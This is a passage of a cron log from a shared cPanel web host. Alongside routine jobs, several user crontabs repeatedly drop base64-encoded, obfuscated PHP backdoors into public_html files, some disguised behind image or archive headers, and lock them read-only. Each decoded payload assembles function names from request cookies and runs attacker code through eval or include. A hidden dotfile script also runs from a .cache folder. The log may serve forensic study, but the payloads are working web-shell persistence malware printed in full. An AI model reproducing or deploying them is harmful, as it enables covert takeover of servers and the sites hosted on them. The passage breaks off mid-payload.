Mar  1 04:21:01 medusa CROND[13756]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:21:01 medusa CROND[13757]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 04:21:01 medusa CROND[13758]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:21:01 medusa CROND[13759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:21:01 medusa CROND[13760]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:21:01 medusa CROND[13761]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:21:01 medusa CROND[13762]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:21:01 medusa CROND[13769]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:21:01 medusa CROND[13770]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:21:01 medusa CROND[13771]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:21:01 medusa CROND[13779]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 04:21:01 medusa CROND[13780]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:21:01 medusa CROND[13785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:22:01 medusa CROND[3812]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:22:01 medusa CROND[3811]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:22:01 medusa CROND[3813]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:22:01 medusa CROND[3815]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:22:01 medusa CROND[3814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:22:01 medusa CROND[3821]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:22:01 medusa CROND[3824]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 04:22:01 medusa CROND[3826]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:22:01 medusa CROND[3827]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:22:01 medusa CROND[3829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:22:01 medusa CROND[3831]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:22:01 medusa CROND[3832]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 04:22:01 medusa CROND[3833]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:22:01 medusa CROND[3836]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:23:01 medusa CROND[26790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:23:01 medusa CROND[26866]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:23:01 medusa CROND[26867]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 04:23:01 medusa CROND[26872]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:23:01 medusa CROND[26873]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJ